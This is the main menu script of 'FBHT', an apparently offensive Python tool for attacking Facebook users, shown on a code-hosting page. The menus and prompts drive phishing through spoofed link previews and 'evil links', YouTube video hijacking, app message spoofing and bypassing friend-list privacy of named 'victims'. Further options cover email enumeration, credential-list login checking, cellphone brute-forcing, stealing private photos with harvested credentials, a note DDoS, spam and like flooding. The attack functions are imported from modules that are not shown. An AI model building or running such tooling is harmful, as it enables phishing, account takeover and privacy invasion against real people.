Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
chinoogawa
GitHub Repository: chinoogawa/fbht
Path: blob/master/main.py
206 views
1
from mainFunc import privateMessageLink,sendRequestToList,setGlobalLogginng , \
2
reAnalyzeGraph,analyzeGraph,bypassFriendshipPrivacyPlot, \
3
massLogin,acceptRequest,friendshipRequest,like, \
4
appMessageSpoof,setMail,login,linkPreviewYoutube,\
5
linkPreview,hijackVideo, privateMessagePhishing, \
6
bypassFriendshipPrivacy, linkFriends, createUser, \
7
deleteUser,deleteAccounts, checkPrivacy, friendshipPlot, \
8
simpleGraph, dotFile, simpleDotGraph, noteDDoS, likeDev, \
9
devTest, getTest, changePassword,massMessage, \
10
massLoginTest, plotDOT, dotFileDatabase, \
11
simpleDotGraphDatabase, friendlyLogout, takePhotos, \
12
accountexists, checkLogin,steal, bruteforceCel, sendBroadcast, getFriends, \
13
getUserIDS, checkMe
14
from database import connect,status, checkTableExistence, createVictimTable
15
from time import time
16
import signal
17
from handlers import *
18
from sys import stdin
19
import os
20
21
globalLogin = False
22
globalEmail = ''
23
globalPassword = ''
24
privacy = {'0':'80','1':'40','2':'10'}
25
privacySet = ['0','1','2']
26
27
def main():
28
global globalLogin
29
global globalEmail
30
global globalPassword
31
32
print ' \n \n \n \n \n \n '
33
print ' ______ ____ _ _ _______ '
34
print ' | ____| _ \| | | |__ __| '
35
print ' | |__ | |_) | |__| | | | '
36
print ' | __| | _ <| __ | | | '
37
print ' | | | |_) | | | | | | '
38
print ' |_| |____/|_| |_| |_| '
39
print ' ____ __ '
40
print ' |___ \/_ | '
41
print ' __ ____) || | '
42
print ' \ \ / /__ < | | '
43
print ' \ V /___) || | '
44
print ' \_/|____(_)_| '
45
print ' '
46
print ' _ _ '
47
print ' ____ | | (_) '
48
print ' / __ \ ___| |__ _ _ __ ___ ___ __ _ __ ___ ____ _ '
49
print ' / / _` |/ __| \'_ \| | \'_ \ / _ \ / _ \ / _` |/ _` \ \ /\ / / _` |'
50
print ' | | (_| | (__| | | | | | | | (_) | (_) | (_| | (_| |\ V V | (_| |'
51
print ' \ \__,_|\___|_| |_|_|_| |_|\___/ \___/ \__, |\__,_| \_/\_/ \__,_|'
52
print ' \____/ __/ | '
53
print ' |___/ '
54
print '\n\n\n\n\n\n'
55
56
raw_input('Enjoy it :D . Press enter to get started')
57
58
def testAccounts():
59
option = 0
60
def createAcc():
61
if (globalLogin == False):
62
email,password = setMail()
63
else:
64
email = globalEmail
65
password = globalPassword
66
appID = raw_input('Enter Application ID: ')
67
68
if (login(email,password,'real'))!= -1:
69
number = raw_input('Insert the amount of accounts for creation (4 min): ')
70
for i in range(int(number)/4):
71
sTime = time()
72
devTest(appID)
73
getTest(appID)
74
75
def deleteAcc():
76
if (globalLogin == False):
77
email,password = setMail()
78
else:
79
email = globalEmail
80
password = globalPassword
81
82
if (login(email,password,'real'))!= -1:
83
deleteUser()
84
deleteAccounts()
85
sTime = time()
86
raw_input('Execution time : %d' %(time() - sTime) + '\nPress Enter to continue: ')
87
88
def connectAcc():
89
if (globalLogin == False):
90
email,password = setMail()
91
else:
92
email = globalEmail
93
password = globalPassword
94
95
if (login(email,password,'real'))!= -1:
96
sTime = time()
97
massLoginTest()
98
raw_input('Execution time : %d' %(time() - sTime) + '\nPress Enter to continue:')
99
100
def friendRequest():
101
sTime = time()
102
massLogin()
103
friendshipRequest()
104
raw_input('Execution time : %d' %(time() - sTime) + '\nPress Enter to continue:')
105
106
def friendAccept():
107
sTime = time()
108
massLogin()
109
acceptRequest()
110
raw_input('Execution time : %d' %(time() - sTime) + '\nPress Enter to continue:')
111
112
def back():
113
option = 0
114
115
testAccountsOptions = {
116
1 : createAcc,
117
2 : deleteAcc,
118
3 : connectAcc,
119
4 : friendRequest,
120
5 : friendAccept,
121
6 : back,
122
}
123
while option not in testAccountsOptions.keys():
124
print '======= Test account options ======='
125
print '1) Create accounts\n'
126
print '2) Delete all accounts for a given user\n'
127
print '3) Connect all the accounts of the database\n'
128
print '4) Send friendship requests (Test Accounts)\n'
129
print '5) Accept friendship requests (Test Accounts)\n'
130
print '6) Take me back\n'
131
try:
132
option = int(raw_input('Insert your choice: '))
133
except:
134
print 'That\'s not an integer, try again'
135
136
#Executes and restores variable after
137
testAccountsOptions[option]()
138
option = 0
139
140
def phishingVectors():
141
option = 0
142
143
def previewSimple():
144
if (globalLogin == False):
145
email,password = setMail()
146
else:
147
email = globalEmail
148
password = globalPassword
149
150
if (login(email,password,'real'))!= -1:
151
option = raw_input("Insert option for privacy 0:Public 1:Friends 2:Only Me : ")
152
if option in privacySet:
153
summary = raw_input('Insert a summary for the link: ')
154
link = raw_input('Insert de evil link: ')
155
realLink = raw_input('Insert de real link: ')
156
title = raw_input('Insert a title for the link: ')
157
image = raw_input('Insert the image url for the post: ')
158
comment = raw_input('Insert a comment for the post associated: ')
159
linkPreview(link,realLink,title,summary,comment,image, privacy[option])
160
else:
161
print "Wrong privacy value, try again "
162
163
def previewYoutube():
164
if (globalLogin == False):
165
email,password = setMail()
166
else:
167
email = globalEmail
168
password = globalPassword
169
170
if (login(email,password,'real'))!= -1:
171
option = raw_input("Insert option for privacy 0:Public 1:Friends 2:Only Me : ")
172
if option in privacySet:
173
summary = raw_input('Insert a summary for the video: ')
174
link = raw_input('Insert de evil link: ')
175
videoLink = raw_input('Insert de youtube link: ')
176
title = raw_input('Insert a title for the video: ')
177
videoID = raw_input('Insert the video ID (w?=): ')
178
comment = raw_input('Insert a comment for the post associated to the video: ')
179
linkPreviewYoutube(link,videoLink,title,summary,comment,videoID,privacy[option])
180
else:
181
print "Wrong privacy value, try again "
182
183
def youtubeHijack():
184
if (globalLogin == False):
185
email,password = setMail()
186
else:
187
email = globalEmail
188
password = globalPassword
189
190
if (login(email,password,'real'))!= -1:
191
option = raw_input("Insert option for privacy 0:Public 1:Friends 2:Only Me : ")
192
if option in privacySet:
193
summary = raw_input('Insert a summary for the video: ')
194
videoLink = raw_input('Insert de youtube link: ')
195
title = raw_input('Insert a title for the video: ')
196
videoID = raw_input('Insert the video ID (watch?v=): ')
197
comment = raw_input('Insert a comment for the post associated to the video: ')
198
hijackedVideo = raw_input('Insert the ID for the hijacked video (watch?v=): ')
199
hijackVideo(videoLink,title,summary,comment,videoID,hijackedVideo,privacy[option])
200
else:
201
print "Wrong privacy value, try again "
202
203
def messageSimple():
204
if (globalLogin == False):
205
email,password = setMail()
206
else:
207
email = globalEmail
208
password = globalPassword
209
210
if (login(email,password,'real'))!= -1:
211
victim = raw_input('Insert the victims user ID: ')
212
realLink = raw_input('Insert the real link: ')
213
title = raw_input('Insert a title for the link: ')
214
subject = raw_input('Insert the subject: ')
215
summary = raw_input('Insert a summary for the link: ')
216
message = raw_input('Insert the body of the message: ')
217
evilLink = raw_input('Insert the evil link: ')
218
imageLink = raw_input('Insert the image associated to the post: ')
219
privateMessageLink(message,victim,subject,realLink,title,summary,imageLink,evilLink)
220
221
def messageYoutube():
222
if (globalLogin == False):
223
email,password = setMail()
224
else:
225
email = globalEmail
226
password = globalPassword
227
228
if (login(email,password,'real'))!= -1:
229
victimId = raw_input('Insert the victims user ID: ')
230
subject = raw_input('Insert the subject: ')
231
message = raw_input('Insert the message: ')
232
title = raw_input('Insert a title for the video: ')
233
summary = raw_input('Insert a summary for the video: ')
234
videoLink = raw_input('Insert de youtube link: ')
235
evilLink = raw_input('Insert the evil link (For hijacking insert same link as above): ')
236
videoID = raw_input('Insert the video ID (watch?v=): ')
237
hijackedVideo = raw_input('Insert the ID for the hijacked video (watch?v=) - For Non-Hijackig press enter: ')
238
privateMessagePhishing(victimId,message,subject,evilLink,videoLink,title,summary,videoID,hijackedVideo)
239
240
def appSpoof():
241
if (globalLogin == False):
242
email,password = setMail()
243
else:
244
email = globalEmail
245
password = globalPassword
246
247
if (login(email,password,'real'))!= -1:
248
appId = raw_input('Insert a valid AppId: ')
249
link = raw_input('Insert de evil link: ')
250
picture = raw_input('Insert a link to a picture for the post: ')
251
title = raw_input('Insert a title for the post: ')
252
domain = raw_input('Insert a domain for the post: ')
253
description = raw_input('Insert a description for the post: ')
254
comment = raw_input('Insert a comment for the post: ')
255
appMessageSpoof(appId,link,picture,title,domain,description,comment)
256
257
def requestList():
258
warning = True
259
while ( (warning is not '0') and (warning is not '1')):
260
warning = raw_input('Your account could be blocked.. Continue? 0|1: ')
261
262
263
if (warning == '1'):
264
265
victim = raw_input('Insert the victim username (Bypass friends list first): ')
266
267
if (globalLogin == False):
268
email,password = setMail()
269
else:
270
email = globalEmail
271
password = globalPassword
272
273
if (login(email,password,'real'))!= -1:
274
sendRequestToList(victim)
275
276
def back():
277
option = 0
278
279
phishingVectorsOptions = {
280
1 : previewSimple,
281
2 : previewYoutube,
282
3 : youtubeHijack,
283
4 : messageSimple,
284
5 : messageYoutube,
285
6 : appSpoof,
286
7 : requestList,
287
8 : back,
288
}
289
while option not in phishingVectorsOptions.keys():
290
print '======= Phishing vector options ======='
291
print '1) Link Preview hack (Simple web version)\n'
292
print '2) Link Preview hack (Youtube version)\n'
293
print '3) Youtube hijack\n'
294
print '4) Private message, Link Preview hack (Simple web version)\n'
295
print '5) Private message, Link Preview hack (Youtube version)\n'
296
print '6) Publish a post as an App (App Message Spoof)\n'
297
print '7) Send friend request to disclosed friend list from your account\n'
298
print '8) Take me back\n'
299
try:
300
option = int(raw_input('Insert your choice: '))
301
except:
302
print 'That\'s not an integer, try again'
303
304
#Executes and restores variable after
305
phishingVectorsOptions[option]()
306
option = 0
307
308
def OSINT():
309
option = 0
310
311
def bypass():
312
if (globalLogin == False):
313
email,password = setMail()
314
else:
315
email = globalEmail
316
password = globalPassword
317
318
if (login(email,password,'real'))!= -1:
319
victim = raw_input('Insert the victim username or userId: ')
320
transitive = raw_input('Insert the transitive username or userId: ')
321
322
print "The information will be stored in %s. \n" % os.path.join("dumps",victim+".txt")
323
bypassFriendshipPrivacy(victim, transitive)
324
325
def bypassGraph():
326
if (globalLogin == False):
327
email,password = setMail()
328
else:
329
email = globalEmail
330
password = globalPassword
331
332
if (login(email,password,'real'))!= -1:
333
victim = raw_input('Insert the victim username or userId: ')
334
check = checkPrivacy(victim)
335
if (check == -1):
336
transitive = raw_input('Insert the transitive username or userId: ')
337
print 'The information will be stored in %s \n' % os.path.join("dumps",victim,victim+".txt")
338
bypassFriendshipPrivacyPlot(victim, transitive)
339
else:
340
print 'Friends available public ;D'
341
victim = checkMe(victim)
342
friendList, friendsName = friendshipPlot(check,victim)
343
simpleGraph(friendList, victim)
344
345
def analize():
346
if (globalLogin == False):
347
email,password = setMail()
348
else:
349
email = globalEmail
350
password = globalPassword
351
352
if (login(email,password,'real'))!= -1:
353
analize = int(raw_input('Analyze an existing one, or a new one? (0|1): '))
354
victim = raw_input('Insert the victim username or userId: ')
355
if (analize == 1):
356
analyzeGraph(victim)
357
else:
358
reAnalyzeGraph(victim)
359
360
361
def linkDisclosed():
362
fileName = raw_input('Insert the victim username: ')
363
linkFriends(fileName)
364
365
def bypassDot():
366
if (globalLogin == False):
367
email,password = setMail()
368
else:
369
email = globalEmail
370
password = globalPassword
371
372
if (login(email,password,'real'))!= -1:
373
victim = raw_input('Insert the victim username or userId: ')
374
check = checkPrivacy(victim)
375
if (check == -1):
376
transitive = raw_input('Insert the transitive username or userId: ')
377
print 'The information will be stored in %s \n' % os.path.join("dumps",victim,victim+".txt")
378
dotFile(victim, transitive)
379
else:
380
print 'Friends publicly available ;D'
381
friendList, friendsName = friendshipPlot(check,victim)
382
simpleDotGraph(friendsName, victim)
383
384
def bypassDB():
385
if (globalLogin == False):
386
email,password = setMail()
387
else:
388
email = globalEmail
389
password = globalPassword
390
if (login(email,password,'real'))!= -1:
391
victim = raw_input('Insert the victim username or userId: ')
392
if ( checkTableExistence(victim) != True):
393
if (createVictimTable(victim) != -1):
394
check = checkPrivacy(victim)
395
if (check == -1):
396
transitive = raw_input('Insert the transitive username or userId: ')
397
dotFileDatabase(victim, transitive)
398
plotDOT(victim)
399
else:
400
print 'Friends publicly available ;D'
401
friendList, friendsName = friendshipPlot(check,victim)
402
simpleDotGraphDatabase(friendsName, victim)
403
plotDOT(victim)
404
405
def publicFriends():
406
email,password = setMail()
407
if (login(email,password,'real'))!= -1:
408
username = raw_input("Insert the username: ")
409
getFriends(username)
410
411
def idFromUsername():
412
email,password = setMail()
413
if (login(email,password,'real'))!= -1:
414
username = raw_input("Insert the username: ")
415
getUserIDS(username)
416
417
def back():
418
option = 0
419
420
421
OSINTOptions = {
422
1 : bypass,
423
2 : bypassGraph,
424
3 : analize,
425
4 : linkDisclosed,
426
5 : bypassDot,
427
6 : bypassDB,
428
7 : publicFriends,
429
8 : idFromUsername,
430
9 : back,
431
}
432
while option not in OSINTOptions.keys():
433
print '======= OSINT options ======='
434
print '1) Bypass friendship privacy\n'
435
print '2) Bypass friendship privacy with graph support\n'
436
print '3) Analyze an existing graph\n'
437
print '4) Link to disclosed friendships\n'
438
print '5) Bypass friendship (only .dot without graph integration)\n'
439
print '6) Bypass - database support (Beta) \n '
440
print '7) Get public friends\n'
441
print '8) Get userIDS from usernames\n'
442
print '9) Take me back\n'
443
444
try:
445
option = int(raw_input('Insert your choice: '))
446
if option > len(OSINTOptions):
447
raise
448
except:
449
print 'That\'s not an integer, try again'
450
451
#Executes and restores variable after
452
OSINTOptions[option]()
453
option = 0
454
455
def bruteforcing():
456
option = 0
457
458
def userEnumeration():
459
mailFile = raw_input('Insert the filename that contains the list of emails (place it in PRIVATE folder first): ')
460
raw_input('Verified emails will be stored in PRIVATE --> existence --> verified.txt ')
461
accountexists(mailFile)
462
463
def bruteforce():
464
mailFile = raw_input('Insert the filename that contains the list of emails and passwords (place it in PRIVATE folder first) with email:password pattern: ')
465
raw_input('Verified loggins will be stored in PRIVATE --> loggedin --> loggedin.txt ')
466
checkLogin(mailFile)
467
468
def celBruteforce():
469
if (globalLogin == False):
470
email,password = setMail()
471
else:
472
email = globalEmail
473
password = globalPassword
474
if (login(email,password,'real'))!= -1:
475
raw_input('Dumps will be stored in cellphones --> cellphones.txt')
476
first = raw_input('Insert the zone code: ')
477
start = raw_input('Insert the start number: ')
478
end = raw_input('Insert the end number: ')
479
bruteforceCel(first,start,end)
480
481
def back():
482
option = 0
483
484
bruteforcingOptions = {
485
1 : userEnumeration,
486
2 : bruteforce,
487
3 : celBruteforce,
488
4 : back,
489
}
490
while option not in bruteforcingOptions.keys():
491
print '======= Bruteforce options ======='
492
print '1) Check existence of mails\n'
493
print '2) Check working account and passwords\n'
494
print '3) Bruteforce cellphones\n'
495
print '4) Take me back\n'
496
try:
497
option = int(raw_input('Insert your choice: '))
498
if option > len(bruteforcingOptions):
499
raise
500
except:
501
print 'That\'s not an integer, try again'
502
503
#Executes and restores variable after
504
bruteforcingOptions[option]()
505
option = 0
506
507
def gathering():
508
option = 0
509
510
def photosSingleCredential():
511
if (globalLogin == False):
512
email,password = setMail()
513
else:
514
email = globalEmail
515
password = globalPassword
516
517
if (login(email,password,'real'))!= -1:
518
threads = raw_input('Usage: insert the threads filename and place it in massive folder first: ')
519
raw_input('Dumps will be stored in massive\\photos')
520
takePhotos(threads)
521
522
def photosMassive():
523
raw_input('You must first run option 30, if you didn\'t I will fail :D ')
524
raw_input('Dumps will be stored in massive\\photos')
525
steal()
526
527
def back():
528
option = 0
529
530
gatheringOptions = {
531
1 : photosSingleCredential,
532
2 : photosMassive,
533
3 : back,
534
}
535
while option not in gatheringOptions.keys():
536
print '======= Gathering options ======='
537
print '1) Take the photos!\n'
538
print '2) Steal private photos from password verified dump\n'
539
print '3) Take me back\n'
540
541
try:
542
option = int(raw_input('Insert your choice: '))
543
if option > len(gatheringOptions):
544
raise
545
except:
546
print 'That\'s not an integer, try again'
547
548
#Executes and restores variable after
549
gatheringOptions[option]()
550
option = 0
551
552
def miscellaneous():
553
option = 0
554
555
def broadcast():
556
while True:
557
online = raw_input("Send only to online friends? 0|1: ")
558
if ((int(online) == 1) or (int(online) == 0)):
559
break
560
561
email,password = setMail()
562
if (login(email,password,'real'))!= -1:
563
sendBroadcast(int(1))
564
565
def ddos():
566
print 'Facebook note DDoS attack, discovered by chr13: http://chr13.com/about-me/'
567
if (globalLogin == False):
568
email,password = setMail()
569
else:
570
email = globalEmail
571
password = globalPassword
572
573
if (login(email,password,'real'))!= -1:
574
raw_input('Usage: First you must create an empty note. Once your note is created, write down the note ID number from the URL. ENTER TO CONTINUE...')
575
imageURL = raw_input('Insert the image URL from the site attack: ')
576
noteID = raw_input('Insert the note ID: ')
577
option = raw_input("Insert option for privacy 0:Public 1:Friends 2:Only Me : ")
578
if option in privacySet:
579
noteDDoS(imageURL,noteID, privacy[option])
580
581
def spam():
582
if (globalLogin == False):
583
email,password = setMail()
584
else:
585
email = globalEmail
586
password = globalPassword
587
if (login(email,password,'real'))!= -1:
588
victim = raw_input('Insert the victim username or userId: ')
589
if ( checkTableExistence(victim) != True):
590
if (createVictimTable(victim) != -1):
591
check = checkPrivacy(victim)
592
if (check == -1):
593
transitive = raw_input('Insert the transitive username or userId: ')
594
dotFileDatabase(victim, transitive)
595
plotDOT(victim)
596
else:
597
print 'Friends publicly available ;D'
598
friendList, friendsName = friendshipPlot(check,victim)
599
simpleDotGraphDatabase(friendsName, victim)
600
plotDOT(victim)
601
602
def friendly():
603
604
if (globalLogin == False):
605
email,password = setMail()
606
else:
607
email = globalEmail
608
password = globalPassword
609
610
if (login(email,password,'real'))!= -1:
611
raw_input('Usage: First you must create an empty note. Once your note is created, write down the note ID number from the URL. ENTER TO CONTINUE...')
612
noteID = raw_input('Insert the note ID: ')
613
option = raw_input("Insert option for privacy 0:Public 1:Friends 2:Only Me : ")
614
if option in privacySet:
615
friendlyLogout(noteID, privacy[option])
616
617
def newLike():
618
try:
619
counter = 0
620
postId = []
621
622
print "Insert the Post ID's (Must be from a page). If no more posts for adding,insert '0' :"
623
while True:
624
response = raw_input('post[%d]:'%counter)
625
if ( response is not '0' ):
626
counter+=1
627
postId.append(response)
628
else:
629
break
630
631
likeDev(postId)
632
except EOFError:
633
print 'EOFError'
634
stdin.flush()
635
pass
636
except signalCaught as e:
637
print ' %s' %e.args[0]
638
639
def oldLike():
640
641
try:
642
counter = 0
643
postId = []
644
645
print 'Insert the Post ID\'s (Must be from a page). If no more posts for adding,insert \'0\' :'
646
while True:
647
response = raw_input('post[%d]:'%counter)
648
if ( response is not '0' ):
649
counter+=1
650
postId.append(response)
651
else:
652
break
653
654
quantity = raw_input('Insert the amount of likes: ')
655
like(postId, quantity)
656
except EOFError:
657
print 'EOFError'
658
stdin.flush()
659
pass
660
except signalCaught as e:
661
print ' %s' %e.args[0]
662
raw_input('Press enter to continue..')
663
664
def dead():
665
print 'Mail bomber through test accounts'
666
print 'Test accounts massive creation'
667
print 'Blocked Test account login bypass'
668
print 'We hope this tool to be useless in the future'
669
raw_input('Press enter to continue: ')
670
671
def back():
672
option = 0
673
674
miscellaneousOptions = {
675
1 : broadcast,
676
2 : ddos,
677
3 : spam,
678
4 : friendly,
679
5 : newLike,
680
6 : oldLike,
681
7 : dead,
682
8 : back,
683
}
684
while option not in miscellaneousOptions.keys():
685
print '======= Miscellaneous options ======='
686
print '1) Send broadcast to friends (Individual messages)\n'
687
print '2) Note DDoS attack\n'
688
print '3) SPAM any fanpage inbox\n'
689
print '4) Logout all your friends - FB blackout \n'
690
print '5) NEW Like flood\n'
691
print '6) Old Like Flood (Not working)\n'
692
print '7) Print dead attacks :\'( \n'
693
print '8) Take me back\n'
694
695
try:
696
option = int(raw_input('Insert your choice: '))
697
if option > len(miscellaneousOptions):
698
raise
699
except:
700
print 'That\'s not an integer, try again'
701
702
#Executes and restores variable after
703
miscellaneousOptions[option]()
704
option = 0
705
706
def configuration():
707
option = 0
708
709
def statusDB():
710
711
status()
712
raw_input('Press enter to continue: ')
713
714
715
def loggingLevel():
716
717
print 'This will increase the execution time significantly'
718
setGlobalLogginng()
719
720
def back():
721
option = 0
722
723
configurationOptions = {
724
1 : statusDB,
725
2 : loggingLevel,
726
3 : back,
727
}
728
while option not in configurationOptions.keys():
729
print '======= Configuration options ======='
730
print '1) Print database status\n'
731
print '2) Increase logging level globally\n'
732
print '3) Take me back\n'
733
734
try:
735
option = int(raw_input('Insert your choice: '))
736
if option > len(configurationOptions):
737
raise
738
except:
739
print 'That\'s not an integer, try again'
740
741
#Executes and restores variable after
742
configurationOptions[option]()
743
option = 0
744
745
def exitFBHT():
746
747
connect.close()
748
749
print '\n \n \n \n \n \n\n \n \n \n \n \n\n \n \n \n \n \n\n \n \n \n \n \n\n \n \n \n '
750
print ' _ _ _ _______ _ _____ _ _ _ '
751
print '| | | | | | |__ __| | | __ \| | | | | | '
752
print '| |__| | __ _ ___| | __ | | | |__ ___ | |__) | | __ _ _ __ ___| |_| | '
753
print '| __ |/ _` |/ __| |/ / | | | _ \ / _ \ | ___/| |/ _` | _ \ / _ \ __| | '
754
print '| | | | (_| | (__| < | | | | | | __/ | | | | (_| | | | | __/ |_|_| '
755
print '|_| |_|\__,_|\___|_|\_\ |_| |_| |_|\___| |_| |_|\__,_|_| |_|\___|\__(_) '
756
print '\n \n \n \n \n \n\n \n \n \n \n \n\n \n \n \n \n \n\n \n \n \n \n \n\n \n \n \n '
757
758
exit(0)
759
760
options = {
761
1 : testAccounts,
762
2 : phishingVectors,
763
3 : OSINT,
764
4 : bruteforcing,
765
5 : gathering,
766
6 : miscellaneous,
767
7 : configuration,
768
8 : exitFBHT,
769
}
770
771
while 1:
772
signal.signal(signal.SIGINT, signal_handler)
773
option = -1
774
while option not in options.keys():
775
776
print '1) Test accounts'
777
print '2) Phishing vectors'
778
print '3) OSINT'
779
print '4) Bruteforcing'
780
print '5) Gathering information with credentials'
781
print '6) Miscellaneous'
782
print '7) Configuration'
783
print '8) Take me out of here'
784
785
try:
786
option = int(raw_input('Insert your choice: '))
787
if option > len(options):
788
raise
789
except:
790
print 'That\'s not an integer, try again'
791
792
#Executes and restores variable after
793
options[option]()
794
option = 0
795
796
797
if __name__ == '__main__':
798
main()
799